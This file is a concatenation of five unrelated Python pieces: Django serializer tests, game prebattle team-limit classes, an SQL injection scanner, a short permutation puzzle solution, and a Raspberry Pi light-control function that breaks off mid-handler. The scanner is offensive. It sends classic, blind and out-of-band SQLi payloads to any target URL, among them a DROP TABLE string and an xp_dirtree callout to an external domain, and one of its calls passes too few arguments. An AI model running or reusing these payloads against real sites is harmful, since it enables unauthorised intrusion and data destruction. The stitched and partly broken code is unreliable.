import itertools
import datetime
import operator
from django import test
from django.utils import translation, formats
from factories.indicators_models import RFIndicatorFactory
from factories.workflow_models import RFProgramFactory, SiteProfileFactory
from indicators.models import Indicator
from tola.test.utils import lang_context
from workflow.serializers_new import (
    ProgramPageProgramSerializer,
    ProgramPageIndicatorUpdateSerializer,
)

PROGRAM_PAGE_QUERIES = 7
PROGRAM_PAGE_UPDATE_QUERIES = PROGRAM_PAGE_QUERIES + 1

ENGLISH = 1
FRENCH = 2
SPANISH = 3

BY_TIER_CHAIN = {
    ENGLISH: 'by {} chain',
    FRENCH: 'par chaîne {}',
    SPANISH: 'por cadena de {}'
}
GOAL = {
    ENGLISH: 'Goal',
    FRENCH: 'But',
    SPANISH: 'Objetivo'
}
OUTCOME = {
    ENGLISH: 'Outcome',
    FRENCH: 'Résultat',
    SPANISH: 'Resultado'
}
OUTPUT = {
    ENGLISH: 'Output',
    FRENCH: 'Extrant',
    SPANISH: 'Salida'
}
ACTIVITY = {
    ENGLISH: 'Activity',
    FRENCH: 'Activité',
    SPANISH: 'Actividad'
}

class TestProgramPageProgramSerializer(test.TestCase):
    def get_serialized_data(self, program_pk, query_count=False):
        if not query_count:
            return ProgramPageProgramSerializer.load_for_pk(program_pk).data
        with self.assertNumQueries(PROGRAM_PAGE_QUERIES):
            return ProgramPageProgramSerializer.load_for_pk(program_pk).data

    def get_program_data(self, **kwargs):
        query_count = kwargs.pop('query_count', False)
        program = RFProgramFactory(**kwargs)
        return self.get_serialized_data(program.pk, query_count=query_count)

    def test_needs_additional_target_periods_false(self):
        p = RFProgramFactory()
        RFIndicatorFactory(program=p, target_frequency=Indicator.TRI_ANNUAL, targets=500)
        data = self.get_serialized_data(p.pk)
        self.assertFalse(data['needs_additional_target_periods'])

    def test_needs_additional_target_periods_true(self):
        p = RFProgramFactory()
        i = RFIndicatorFactory(program=p, target_frequency=Indicator.TRI_ANNUAL, targets=500)
        i.periodictargets.last().delete()
        data = self.get_serialized_data(p.pk)
        self.assertTrue(data['needs_additional_target_periods'])

    def test_needs_additional_target_periods_no_indicators(self):
        data = self.get_program_data()
        self.assertFalse(data['needs_additional_target_periods'])

    def test_needs_additional_target_periods_no_targets(self):
        p = RFProgramFactory()
        i = RFIndicatorFactory(program=p, target_frequency=Indicator.ANNUAL)
        i.periodictargets.all().delete()
        data = self.get_serialized_data(p.pk)
        self.assertFalse(data['needs_additional_target_periods'])

    def test_needs_additional_target_periods_no_target_frequency(self):
        p = RFProgramFactory()
        RFIndicatorFactory(program=p, target_frequency=None)
        data = self.get_serialized_data(p.pk)
        self.assertFalse(data['needs_additional_target_periods'])

    def test_needs_additional_target_periods_no_reporting_period_end(self):
        p = RFProgramFactory()
        RFIndicatorFactory(program=p, target_frequency=Indicator.TRI_ANNUAL, targets=1000)
        p.reporting_period_end = None
        p.save()
        data = self.get_serialized_data(p.pk)
        self.assertFalse(data['needs_additional_target_periods'])

    def test_site_count_zero(self):
        data = self.get_program_data()
        self.assertEqual(data['site_count'], 0)

    def test_site_count_non_zero(self):
        p = RFProgramFactory()
        i = RFIndicatorFactory(
            program=p, target_frequency=Indicator.LOP, targets=1000,
            results=800, results__count=10
        )
        for result in i.result_set.all():
            result.site.add(
                SiteProfileFactory()
            )
        i2 = RFIndicatorFactory(
            program=p, target_frequency=Indicator.ANNUAL, targets=50,
            results=80, results__count=3
        )
        for result in i2.result_set.all():
            result.site.add(
                SiteProfileFactory()
            )
        data = self.get_serialized_data(p.pk)
        self.assertEqual(data['site_count'], 13)

    def test_level_count_zero(self):
        data = self.get_program_data()
        self.assertFalse(data['has_levels'])

    def test_level_count_nonzero(self):
        data = self.get_program_data(tiers=['Tier1', 'Tier2'], levels=2)
        self.assertTrue(data['has_levels'])

    def test_time_period_info_non_time_aware(self):
        p = RFProgramFactory()
        for frequency in [Indicator.LOP, Indicator.MID_END]:
            RFIndicatorFactory(
                program=p, target_frequency=frequency, targets=100
            )
        data = self.get_serialized_data(p.pk, query_count=True)
        tp_data = data['target_period_info']
        self.assertTrue(tp_data['lop'])
        self.assertTrue(tp_data['midend'])
        self.assertFalse(tp_data['event'])
        self.assertFalse(tp_data['time_targets'])
        self.assertFalse(tp_data['annual'])
        self.assertFalse(tp_data['semi_annual'])
        self.assertFalse(tp_data['tri_annual'])
        self.assertFalse(tp_data['quarterly'])
        self.assertFalse(tp_data['monthly'])

    def test_time_period_info_time_aware(self):
        p = RFProgramFactory(
            reporting_period_start=datetime.date(2016, 1, 1),
            reporting_period_end=datetime.date(2024, 12, 31)
        )
        for frequency in Indicator.REGULAR_TARGET_FREQUENCIES:
            RFIndicatorFactory(
                program=p, target_frequency=frequency, targets=500,
            )
        data = self.get_serialized_data(p.pk)
        today = datetime.date.today()
        annual = datetime.date(today.year, 1, 1)-datetime.timedelta(days=1)
        semi_annual = datetime.date(
            today.year,
            7 if today.month > 6 else 1,
            1
        ) - datetime.timedelta(days=1)
        tri_annual = datetime.date(
            today.year,
            (today.month-1) // 4 * 4 + 1,
            1
        ) - datetime.timedelta(days=1)
        quarterly = datetime.date(
            today.year,
            (today.month-1) // 3 * 3 + 1,
            1
        ) - datetime.timedelta(days=1)
        monthly = datetime.date(
            today.year,
            today.month,
            1
        ) - datetime.timedelta(days=1)
        tp_data = data['target_period_info']
        date_format = lambda date_obj: formats.date_format(date_obj, "MEDIUM_DATE_FORMAT")
        self.assertFalse(tp_data['lop'])
        self.assertFalse(tp_data['midend'])
        self.assertFalse(tp_data['event'])
        self.assertTrue(tp_data['time_targets'])
        self.assertEqual(tp_data['annual'], date_format(annual))
        self.assertEqual(tp_data['semi_annual'], date_format(semi_annual))
        self.assertEqual(tp_data['tri_annual'], date_format(tri_annual))
        self.assertEqual(tp_data['quarterly'], date_format(quarterly))
        self.assertEqual(tp_data['monthly'], date_format(monthly))

class TestProgramPageSerializersFunctional(test.TestCase):
    def get_serialized_data(self, program_pk):
        return ProgramPageProgramSerializer.load_for_pk(program_pk).data

    def get_ordering_update_serialized_data(self, program_pk):
        return ProgramPageIndicatorUpdateSerializer.load_for_pk(program_pk).data

    def get_update_indicator_data(self, program_pk, indicator_pk):
        return ProgramPageIndicatorUpdateSerializer.load_for_indicator_and_program(indicator_pk, program_pk).data

    def test_rf_program_two_indicators(self):
        p = RFProgramFactory(
            tiers=['Tier1', 'Tier2'], levels=1,
            reporting_period_start=datetime.date(2014, 5, 1)
        )
        for level in p.levels.all():
            RFIndicatorFactory(program=p, level=level)
        data = self.get_serialized_data(p.pk)
        self.assertEqual(data['pk'], p.pk)
        self.assertEqual(data['name'], p.name)
        self.assertTrue(data['results_framework'])
        self.assertEqual(data['by_result_chain'], 'by Tier2 chain')
        self.assertEqual(data['reporting_period_start_iso'], '2014-05-01')
        self.assertEqual(data['site_count'], 0)
        self.assertTrue(data['has_levels'])
        self.assertEqual(data['indicator_pks_level_order'], data['indicator_pks_chain_order'])
        indicator_pks = data['indicator_pks_level_order']
        self.assertEqual(len(indicator_pks), 2)
        indicators_data = data['indicators']
        self.assertEqual(len(indicators_data), 2)
        goal_indicator_data = indicators_data[indicator_pks[0]]
        self.assertEqual(goal_indicator_data['number'], 'Tier1 a')
        output_indicator_data = indicators_data[indicator_pks[1]]
        self.assertEqual(output_indicator_data['number'], 'Tier2 1a')

    def test_unmigrated_program(self):
        p = RFProgramFactory(migrated=False)
        pks = []
        old_levels_numbers = [
            ('Activity', '5'),
            ('Activity', '3'),
            ('Outcome', '3.4'),
            ('Outcome', '2.8'),
            ('Outcome', '2.2')
        ]
        for old_level, number in old_levels_numbers:
            pks.append(
                RFIndicatorFactory(
                    program=p, old_level=old_level, number=number,
                    target_frequency=Indicator.SEMI_ANNUAL, targets=400, results=550
                ).pk
            )
        expected_pks = list(reversed(pks))
        data = self.get_serialized_data(p.pk)
        self.assertFalse(data['has_levels'])
        self.assertEqual(data['indicator_pks_level_order'], data['indicator_pks_chain_order'])
        indicator_pks = data['indicator_pks_level_order']
        self.assertEqual(expected_pks, indicator_pks)
        for (old_level, number), pk in zip(old_levels_numbers, pks):
            indicator_data = data['indicators'][pk]
            self.assertEqual(indicator_data['number'], u'{} {}'.format(old_level, number))
            self.assertEqual(indicator_data['old_level_name'], old_level)
            self.assertTrue(indicator_data['is_reporting'])
            self.assertEqual(indicator_data['over_under'], 1)
        self.assertEqual(data['indicators'][pks[0]]['level_pk'], 6)
        self.assertEqual(data['indicators'][pks[3]]['level_pk'], 3)
        with lang_context('fr'):
            french_data = self.get_serialized_data(p.pk)
        self.assertEqual(french_data['indicators'][pks[0]]['old_level_name'], ACTIVITY[FRENCH])
        self.assertEqual(french_data['indicators'][pks[4]]['old_level_name'], OUTCOME[FRENCH])

    def test_rf_program_many_indicators(self):
        p = RFProgramFactory(months=20, tiers=['Goal', 'Outcome', 'Output', 'Activity'], levels=3)
        p.levels.filter(parent__isnull=True, customsort__gt=1).delete()
        goal_level = p.levels.filter(parent__isnull=True).first()
        goal_pk_a = RFIndicatorFactory(
            program=p, level=goal_level,
            target_frequency=Indicator.LOP, targets=300, results=310
        ).pk
        goal_pk_b = RFIndicatorFactory(
            program=p, level=goal_level,
            target_frequency=Indicator.ANNUAL, targets=10, results=40,
            baseline="100", baseline_na=True
        ).pk
        pks = []
        pks.append(RFIndicatorFactory(program=p, level=None, number='A1').pk)
        pks.append(RFIndicatorFactory(program=p, level=None, old_level='Outcome', number='X21').pk)
        pks.append(RFIndicatorFactory(program=p, level=None, old_level='Outcome', number='C14').pk)
        pks.append(RFIndicatorFactory(program=p, level=None, old_level='Goal').pk)
        unassigned_pks = pks[::-1]
        all_levels = list(p.levels.all())
        levels_in_order = []
        parents = sorted([l for l in all_levels if l.parent is None], key=operator.attrgetter('customsort'))
        while parents:
            for parent in parents:
                children = sorted([l for l in all_levels if l.parent == parent], key=operator.attrgetter('customsort'))
                levels_in_order += children
                parents = children
        for level in list(reversed(levels_in_order)):
            pks.append(RFIndicatorFactory(program=p, level=level).pk)
        expected_pks = [goal_pk_a, goal_pk_b] + list(reversed(pks))
        data = self.get_serialized_data(p.pk)
        self.assertEqual(data['by_result_chain'], 'by Outcome chain')
        indicator_pks = data['indicator_pks_level_order']
        self.assertEqual(indicator_pks, expected_pks)
        chain_pks = [indicator.pk for indicator in goal_level.indicator_set.order_by('level_order')]
        for level in goal_level.get_children():
            chain_pks += [indicator.pk for indicator in level.indicator_set.order_by('level_order')]
        chain_pks += unassigned_pks
        self.assertEqual(data['indicator_pks_chain_order'], chain_pks)
        self.assertTrue(data['indicators'][goal_pk_a]['is_reporting'])
        self.assertEqual(data['indicators'][goal_pk_a]['over_under'], 0)
        self.assertEqual(data['indicators'][goal_pk_a]['lop_target'], 300)
        self.assertEqual(data['indicators'][goal_pk_a]['level_pk'], goal_level.pk)
        self.assertEqual(data['indicators'][goal_pk_b]['baseline'], None)
        self.assertEqual(data['indicators'][goal_pk_b]['over_under'], 1)
        self.assertEqual(data['indicators'][unassigned_pks[0]]['number'], None)
        self.assertEqual(data['indicators'][unassigned_pks[1]]['old_level_name'], None)
        self.assertEqual(data['indicators'][unassigned_pks[2]]['level_pk'], None)
        with lang_context('fr'):
            french_data = self.get_serialized_data(p.pk)
        self.assertEqual(french_data['by_result_chain'], BY_TIER_CHAIN[FRENCH].format(OUTCOME[FRENCH]))
        self.assertEqual(french_data['indicators'][goal_pk_b]['number'], '{} b'.format(GOAL[FRENCH]))
        self.assertEqual(french_data['indicators'][expected_pks[6]]['number'], '{} 1.2a'.format(OUTPUT[FRENCH]))
        self.assertEqual(french_data['indicators'][unassigned_pks[1]]['old_level_name'], None)

    def test_manual_numbering(self):
        p = RFProgramFactory(tiers=['Tier1', 'Tier2', 'Tier3'], levels=1, auto_number_indicators=False)
        levels = list(
            sorted(
                sorted(
                    [l for l in p.levels.all()],
                    key=lambda l: l.customsort
                ), key=lambda l: l.level_depth
            )
        )
        numbers = ['482', '28.C', '999']
        pks = []
        tiers = []
        for level, number in zip(list(reversed(levels)), numbers):
            pks.append(
                RFIndicatorFactory(
                    program=p,
                    level=level,
                    number=number
                ).pk
            )
            tiers.append(level.leveltier.name)
        expected_pks = list(reversed(pks))
        expected_numbers = list(reversed(numbers))
        expected_tiers = list(reversed(tiers))
        data = self.get_serialized_data(p.pk)
        self.assertEqual(len(data['indicators']), 3)
        self.assertEqual(data['indicator_pks_level_order'], expected_pks)
        self.assertEqual(data['indicator_pks_chain_order'], expected_pks)
        for pk, number, tier in zip(expected_pks, expected_numbers, expected_tiers):
            self.assertEqual(data['indicators'][pk]['number'], f"{tier} {number}")

    def test_rollups(self):
        p = RFProgramFactory()
        incomplete_i = RFIndicatorFactory(
            program=p, target_frequency=Indicator.MONTHLY, targets=300
        )
        incomplete_i.periodictargets.order_by('-end_date').first().delete()
        targets_i = RFIndicatorFactory(
            program=p, target_frequency=Indicator.QUARTERLY, targets=400
        )
        results_i = RFIndicatorFactory(
            program=p, target_frequency=Indicator.SEMI_ANNUAL, targets=400,
            results=200, results__count=10
        )
        sites = itertools.cycle([SiteProfileFactory() for _ in range(8)])
        for result in results_i.result_set.all():
            result.site.add(next(sites))
        evidence_i = RFIndicatorFactory(
            program=p, target_frequency=Indicator.ANNUAL, targets=40,
            results=100, results__count=12, results__evidence=8
        )
        for result in evidence_i.result_set.all():
            result.site.add(next(sites))
        evidence_i2 = RFIndicatorFactory(
            program=p, target_frequency=Indicator.ANNUAL, targets=40,
            results=10, results__count=4, results__evidence=4
        )
        data = self.get_serialized_data(p.pk)
        self.assertTrue(data['needs_additional_target_periods'])
        self.assertEqual(data['site_count'], 8)
        self.assertFalse(data['indicators'][incomplete_i.pk]['has_all_targets_defined'])
        self.assertTrue(data['indicators'][targets_i.pk]['has_all_targets_defined'])
        self.assertFalse(data['indicators'][targets_i.pk]['has_results'])
        self.assertEqual(data['indicators'][results_i.pk]['results_count'], 10)
        self.assertTrue(data['indicators'][results_i.pk]['has_results'])
        self.assertEqual(data['indicators'][evidence_i.pk]['results_with_evidence_count'], 8)
        self.assertTrue(data['indicators'][evidence_i.pk]['missing_evidence'])
        self.assertFalse(data['indicators'][evidence_i2.pk]['missing_evidence'])

    def test_rf_program_two_indicators_delete_only(self):
        p = RFProgramFactory(
            tiers=['Tier1', 'Tier2'], levels=1,
        )
        expected_pks = []
        levels = sorted(p.levels.all(), key=operator.attrgetter('level_depth'))
        for level in levels:
            expected_pks.append(RFIndicatorFactory(program=p, level=level).pk)
        indicator = RFIndicatorFactory(program=p, level=levels[1], name='Test Name')
        expected_pks.append(indicator.pk)
        full_data = self.get_serialized_data(p.pk)
        data = self.get_ordering_update_serialized_data(p.pk)
        self.assertEqual(data['pk'], p.pk)
        self.assertEqual(data['indicator_pks_level_order'], data['indicator_pks_chain_order'])
        indicator_pks = data['indicator_pks_level_order']
        self.assertEqual(indicator_pks, expected_pks)
        for indicator_pk in full_data['indicators']:
            self.assertIn(indicator_pk, data['indicators'])
            self.assertEqual(
                full_data['indicators'][indicator_pk]['number'],
                data['indicators'][indicator_pk]['number']
                )

    def test_rf_program_two_indicators_update_only(self):
        p = RFProgramFactory(
            tiers=['Tier1', 'Tier2'], levels=1,
        )
        expected_pks = []
        levels = sorted(p.levels.all(), key=operator.attrgetter('level_depth'))
        for level in levels:
            expected_pks.append(RFIndicatorFactory(program=p, level=level).pk)
        indicator = RFIndicatorFactory(program=p, level=levels[1], name='Test Name')
        expected_pks.append(indicator.pk)
        full_data = self.get_serialized_data(p.pk)
        data = self.get_update_indicator_data(p.pk, indicator.pk)
        self.assertEqual(data['pk'], p.pk)
        self.assertEqual(data['indicator_pks_level_order'], data['indicator_pks_chain_order'])
        indicator_pks = data['indicator_pks_level_order']
        self.assertEqual(indicator_pks, expected_pks)
        self.assertEqual(data['indicator']['name'], 'Test Name')
        for indicator_pk in full_data['indicators']:
            self.assertIn(indicator_pk, data['indicators'])
            self.assertEqual(
                full_data['indicators'][indicator_pk]['number'],
                data['indicators'][indicator_pk]['number']
                )

    def test_site_count_in_update(self):
        """Site count should be included in update serializer to supply reactive sites list with count"""
        p = RFProgramFactory()
        i = RFIndicatorFactory(program=p, targets=1000, results=True)
        data = self.get_update_indicator_data(p.pk, i.pk)
        self.assertEqual(data['site_count'], 0)
        r1 = i.result_set.first()
        r1.site.add(SiteProfileFactory())
        r1.save()
        data = self.get_update_indicator_data(p.pk, i.pk)
        self.assertEqual(data['site_count'], 1)


from collections import defaultdict
import weakref
from CurrentVehicle import g_currentVehicle
from constants import PREBATTLE_ACCOUNT_STATE, PREBATTLE_TYPE
from gui.prb_control import getClassLevelLimits, getTotalLevelLimits
from gui.prb_control import getPrebattleRosters, getMaxSizeLimits
from gui.prb_control.restrictions.interfaces import IVehicleLimit, ITeamLimit
from gui.prb_control.settings import PREBATTLE_ROSTER, PREBATTLE_RESTRICTION
from items.vehicles import VehicleDescr, VEHICLE_CLASS_TAGS
from prebattle_shared import isTeamValid, isVehicleValid

class VehicleIsValid(IVehicleLimit):

    def check(self, teamLimits):
        if not g_currentVehicle.isReadyToFight():
            return (False, PREBATTLE_RESTRICTION.VEHICLE_NOT_READY)
        vehicle = g_currentVehicle.item
        shellsList = []
        for shell in vehicle.shells:
            shellsList.extend([shell.intCD, shell.count])

        return isVehicleValid(vehicle.descriptor, shellsList, teamLimits)

class TeamIsValid(ITeamLimit):

    def check(self, rosters, team, teamLimits):
        rosterKey = None
        if team is 1:
            rosterKey = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM1
        elif team is 2:
            rosterKey = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM2
        if rosterKey in rosters:
            accountsInfo = rosters[rosterKey]
        else:
            accountsInfo = {}
        return isTeamValid(accountsInfo, teamLimits)

class TeamNoPlayersInBattle(ITeamLimit):

    def __init__(self, prbType):
        super(TeamNoPlayersInBattle, self).__init__()
        self.__range = PREBATTLE_ROSTER.getRange(prbType)

    def __isPlayerInBattle(self, player):
        return player['state'] & PREBATTLE_ACCOUNT_STATE.IN_BATTLE != 0

    def check(self, rosters, team, teamLimits):
        for rosterKey in self.__range:
            if rosterKey & team and rosterKey in rosters:
                filtered = filter(self.__isPlayerInBattle, rosters[rosterKey].itervalues())
                if len(filtered):
                    return (False, PREBATTLE_RESTRICTION.HAS_PLAYER_IN_BATTLE)

        return (True, '')

class MaxCount(ITeamLimit):

    def __init__(self, assigned = True):
        super(MaxCount, self).__init__()
        self.__assigned = assigned

    def check(self, rosters, team, teamLimits):
        if self.__assigned:
            index = 0
            if team is 1:
                key = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM1
            else:
                key = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM2
        else:
            index = 1
            if team is 1:
                key = PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM1
            else:
                key = PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM2
        maxCount = getMaxSizeLimits(teamLimits)[index]
        if key in rosters and len(rosters[key]) >= maxCount:
            return (False, PREBATTLE_RESTRICTION.LIMIT_MAX_COUNT)
        return (True, '')

class TotalMaxCount(ITeamLimit):

    def check(self, rosters, team, teamLimits):
        maxCount = sum(getMaxSizeLimits(teamLimits))
        result, restriction = True, ''
        if team is 1:
            keys = [PREBATTLE_ROSTER.ASSIGNED_IN_TEAM1, PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM1]
        else:
            keys = [PREBATTLE_ROSTER.ASSIGNED_IN_TEAM2, PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM2]
        playersCount = 0
        for key in keys:
            if key in rosters:
                playersCount += len(rosters[key])

        if playersCount >= maxCount:
            result, restriction = False, PREBATTLE_RESTRICTION.LIMIT_MAX_COUNT
        return (result, restriction)

class VehiclesLevelLimit(ITeamLimit):

    def check(self, rosters, team, teamLimits):
        isValid, notValidReason = True, ''
        assignedRosters = rosters.get(team, {})
        totalLevel, classLevels = self.__calculate(assignedRosters)
        for classTag in VEHICLE_CLASS_TAGS:
            minLevel, maxLevel = getClassLevelLimits(teamLimits, classTag)
            currentLevel = classLevels[classTag]
            vClassTags = PREBATTLE_RESTRICTION.getVehClassTags()
            if not minLevel <= currentLevel <= maxLevel:
                if not currentLevel == 0:
                    isValid = False
                    notValidReason = classTag in vClassTags and vClassTags[classTag]
                else:
                    notValidReason = PREBATTLE_RESTRICTION.LIMIT_CLASSES

        if isValid:
            minLevel, maxLevel = getTotalLevelLimits(teamLimits)
            if not minLevel <= totalLevel <= maxLevel:
                isValid = False
                notValidReason = PREBATTLE_RESTRICTION.LIMIT_TOTAL_LEVEL
        return (isValid, notValidReason)

    def __calculate(self, rosters):
        classLevels = defaultdict(lambda : 0)
        totalLevel = 0
        vehClassTags = set(VEHICLE_CLASS_TAGS)
        for roster in rosters.itervalues():
            if not roster['state'] & PREBATTLE_ACCOUNT_STATE.READY:
                continue
            vehCompDescr = roster.get('vehCompDescr', '')
            if vehCompDescr is not None and len(vehCompDescr):
                vehType = VehicleDescr(compactDescr=vehCompDescr).type
                level = vehType.level
                union = vehClassTags & vehType.tags
                if len(union):
                    vehClass = union.pop()
                    classLevels[vehClass] = max(classLevels[vehClass], level)
                totalLevel += level

        return (totalLevel, classLevels)

class LimitsCollection(object):

    def __init__(self, functional, vehicleLimits, teamLimits):
        self.__functional = weakref.proxy(functional)
        self.__vehicleLimits = vehicleLimits
        self.__teamLimits = teamLimits

    def clear(self):
        self.__functional = None
        self.__vehicleLimits = ()
        self.__teamLimits = ()
        return

    def isVehicleValid(self):
        result, errorCode = True, ''
        settings = self.__functional.getSettings()
        teamLimits = settings.getTeamLimits(self.__functional.getPlayerTeam())
        for limit in self.__vehicleLimits:
            result, errorCode = limit.check(teamLimits)
            if not result:
                break

        return (result, errorCode)

    def isTeamValid(self, team = None):
        result, errorCode = True, ''
        if team is None:
            team = self.__functional.getPlayerTeam()
        settings = self.__functional.getSettings()
        teamLimits = settings.getTeamLimits(team)
        rosters = getPrebattleRosters()
        for limit in self.__teamLimits:
            result, errorCode = limit.check(rosters, team, teamLimits)
            if not result:
                break

        return (result, errorCode)

    def isTeamsValid(self):
        settings = self.__functional.getSettings()
        rosters = getPrebattleRosters()
        for team in [1, 2]:
            teamLimits = settings.getTeamLimits(team)
            for limit in self.__teamLimits:
                result, errorCode = limit.check(rosters, team, teamLimits)
                if not result:
                    return (result, errorCode)

        return (True, '')

    def isMaxCountValid(self, team, assigned):
        settings = self.__functional.getSettings()
        rosters = getPrebattleRosters()
        return MaxCount(assigned=assigned).check(rosters, team, settings.getTeamLimits(team))

class DefaultLimits(LimitsCollection):

    def __init__(self, functional):
        super(DefaultLimits, self).__init__(functional, (VehicleIsValid(),), (TeamIsValid(),))

class TrainingLimits(LimitsCollection):

    def __init__(self, functional):
        super(TrainingLimits, self).__init__(functional, (VehicleIsValid(),), (TeamNoPlayersInBattle(PREBATTLE_TYPE.TRAINING), TeamIsValid()))

class CompanyLimits(LimitsCollection):

    def __init__(self, functional):
        super(CompanyLimits, self).__init__(functional, (VehicleIsValid(),), (VehiclesLevelLimit(), TeamIsValid()))

class BattleSessionLimits(LimitsCollection):

    def __init__(self, functional):
        super(BattleSessionLimits, self).__init__(functional, (VehicleIsValid(),), (VehiclesLevelLimit(), TeamIsValid()))


import requests
from bs4 import BeautifulSoup
import re
import time
import random
import json
from urllib.parse import urlparse, urlencode, parse_qs, urlunparse
from reportlab.lib.pagesizes import letter
from reportlab.lib import colors
from reportlab.platypus import SimpleDocTemplate, Table, TableStyle

REQUEST_TIMEOUT = 10
RATE_LIMIT_DELAY = 3

def test_classic_sqli(url, param, payloads):
    sql_errors = [
        "You have an error in your SQL syntax;",
        "mysql_fetch_array()",
        "Warning: mysql_",
        "Warning: pg_",
        "Warning: odbc_",
        "Warning: mssql_",
        "ORA-01756",
        "Error Executing Database Query",
        "Unclosed quotation mark after the character string"
    ]

    for payload in payloads:
        try:
            parsed_url = urlparse(url)
            query_params = parse_qs(parsed_url.query)
            query_params[param] = payload
            new_query = urlencode(query_params, doseq=True)
            target_url = urlunparse(parsed_url._replace(query=new_query))

            response = requests.get(target_url, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)
            html_content = response.text

            for error in sql_errors:
                if error in html_content:
                    return True
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

    return False

def test_blind_sqli(url, param, payloads_true, payloads_false):
    for payload_true, payload_false in zip(payloads_true, payloads_false):
        try:
            parsed_url = urlparse(url)
            query_params = parse_qs(parsed_url.query)

            query_params[param] = payload_true
            new_query_true = urlencode(query_params, doseq=True)
            target_url_true = urlunparse(parsed_url._replace(query=new_query_true))

            query_params[param] = payload_false
            new_query_false = urlencode(query_params, doseq=True)
            target_url_false = urlunparse(parsed_url._replace(query=new_query_false))

            response_true = requests.get(target_url_true, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)
            response_false = requests.get(target_url_false, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)

            if response_true.status_code == 200 and response_false.status_code == 404:
                return True
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

    return False

def test_out_of_band_sqli(url, param, payloads, domain, bin_id, api_key):
    for payload in payloads:
        try:
            parsed_url = urlparse(url)
            query_params = parse_qs(parsed_url.query)
            query_params[param] = payload
            new_query = urlencode(query_params, doseq=True)
            target_url = urlunparse(parsed_url._replace(query=new_query))

            response = requests.get(target_url, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)

            if check_dns_logs(bin_id, api_key):
                return True
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

    return False

def check_dns_logs(bin_id, api_key):
    requestbin_url = f"https://api.requestbin.com/v1/bins/{bin_id}/requests"
    headers = {"X-Master-Key": api_key}

    try:
        response = requests.get(requestbin_url, headers=headers)
        if response.status_code == 200:
            requests_data = json.loads(response.text)
            if len(requests_data) > 0:
                return True
    except requests.exceptions.RequestException as e:
        print(f"Request error: {e}")

    return False

def test_sql_injection(url, params, bin_id, api_key):
    domain = input('Enter a domain name to use for the out-of-band SQLi attack: ')

    classic_payloads = [
        "'", "\"", "or 1=1", "'; DROP TABLE users;--", "1' or '1' = '1", "\" OR \"\"=\""
    ]

    blind_payloads_true = [
        "1' AND 1=1--", "1' AND SLEEP(3)--", "1') AND 1=1--", "1') AND SLEEP(3)--"
    ]

    blind_payloads_false = [
        "1' AND 1=2--", "1' AND SLEEP(0)--", "1') AND 1=2--", "1') AND SLEEP(0)--"
    ]

    out_of_band_payloads = [
        f"1'; EXEC xp_dirtree 'http://{domain}.example.com';--"
    ]

    results = []

    for param in params:
        if test_classic_sqli(url, param, classic_payloads):
            results.append((param, "Classic SQLi", random.choice(classic_payloads)))

        if test_blind_sqli(url, param, blind_payloads_true, blind_payloads_false):
            results.append((param, "Inferential SQLi (Blind)", (random.choice(blind_payloads_true), random.choice(blind_payloads_false))))

        if test_out_of_band_sqli(url, param, out_of_band_payloads, bin_id, api_key):
            results.append((param, "Out-of-band SQLi", random.choice(out_of_band_payloads)))

    return results

def generate_pdf_report(results, filename):
    data = [["Parameter", "Vulnerability", "Payload"]] + results

    table = Table(data)
    table.setStyle(TableStyle([
        ('BACKGROUND', (0, 0), (-1, 0), colors.grey),
        ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
        ('ALIGN', (0, 0), (-1, -1), 'CENTER'),
        ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
        ('FONTSIZE', (0, 0), (-1, 0), 14),
        ('BOTTOMPADDING', (0, 0), (-1, 0), 12),
        ('BACKGROUND', (0, 1), (-1, -1), colors.beige),
        ('GRID', (0, 0), (-1, -1), 1, colors.black)
    ]))

    doc = SimpleDocTemplate(filename, pagesize=letter)
    doc.build([table])

if __name__ == "__main__":
    target_url = input('Enter the URL of the target website: ')
    params = input('Enter the parameters to test (comma-separated): ').split(',')

    bin_id = input('Enter the ID of the RequestBin: ')
    api_key = input('Enter the API key of the RequestBin: ')

    results = test_sql_injection(target_url, params, bin_id, api_key)

    for result in results:
        print(f"Vulnerability found: {result[1]} - Parameter: {result[0]} - Payload: {result[2]}")

    pdf_filename = f"{target_url}-sql_injection_report.pdf"
    generate_pdf_report(results, pdf_filename)
    print(f"Report generated: {pdf_filename}")


import sys
input = lambda: sys.stdin.readline().rstrip()
g = lambda: [*map(int, input().split())]

from itertools import permutations

nums = []
for a, b, c in permutations(g(), 3):
    nums.append(a * 100 + b * 10 + c)
nums.sort()
ans = nums.index(int(input())) + 1
print(ans)


import RPi.GPIO as GPIO
import time
import json

def light_control_function(MQTTClient, light_config):
    # Function attribute used for stopping thread
    light_control_function.stop = False

    class Mode:
        mode = "AUTO"

    Mode_To_GPIO_Signal = {
        "ON": GPIO.LOW,
        "OFF": GPIO.HIGH,
    }

    # Pin for taking sensor inputs
    ldr_pin = int(light_config['ldr_pin'])
    output_pin = int(light_config['output_pin'])
    GPIO.setup(output_pin, GPIO.OUT)

    def auto_mode(ldr_pin):
        nonlocal Mode_To_GPIO_Signal
        try:
            count = 0
            GPIO.setup(ldr_pin, GPIO.OUT)
            GPIO.output(ldr_pin, GPIO.LOW)
            time.sleep(0.1)
            GPIO.setup(ldr_pin, GPIO.IN)

            while (GPIO.input(ldr_pin) == GPIO.LOW):
                count += 1

            # print(f"Sensor Output({light_config['light_id']}): {count}")
            if count < light_config["threshold"]:
                return Mode_To_GPIO_Signal["OFF"]
            else:
                return Mode_To_GPIO_Signal["ON"]

        except Exception as err:
            print("Error while receiving input from sensor.\n Exception:", err)

        return Mode_To_GPIO_Signal["ON"]

    def on_light_signal_received(client, userdata, message):
        nonlocal Mode
        try:
            payload = json.loads(message.payload)
            Mode.mode = payload.get("mode", "AUTO")
            print(payload.get("message"))
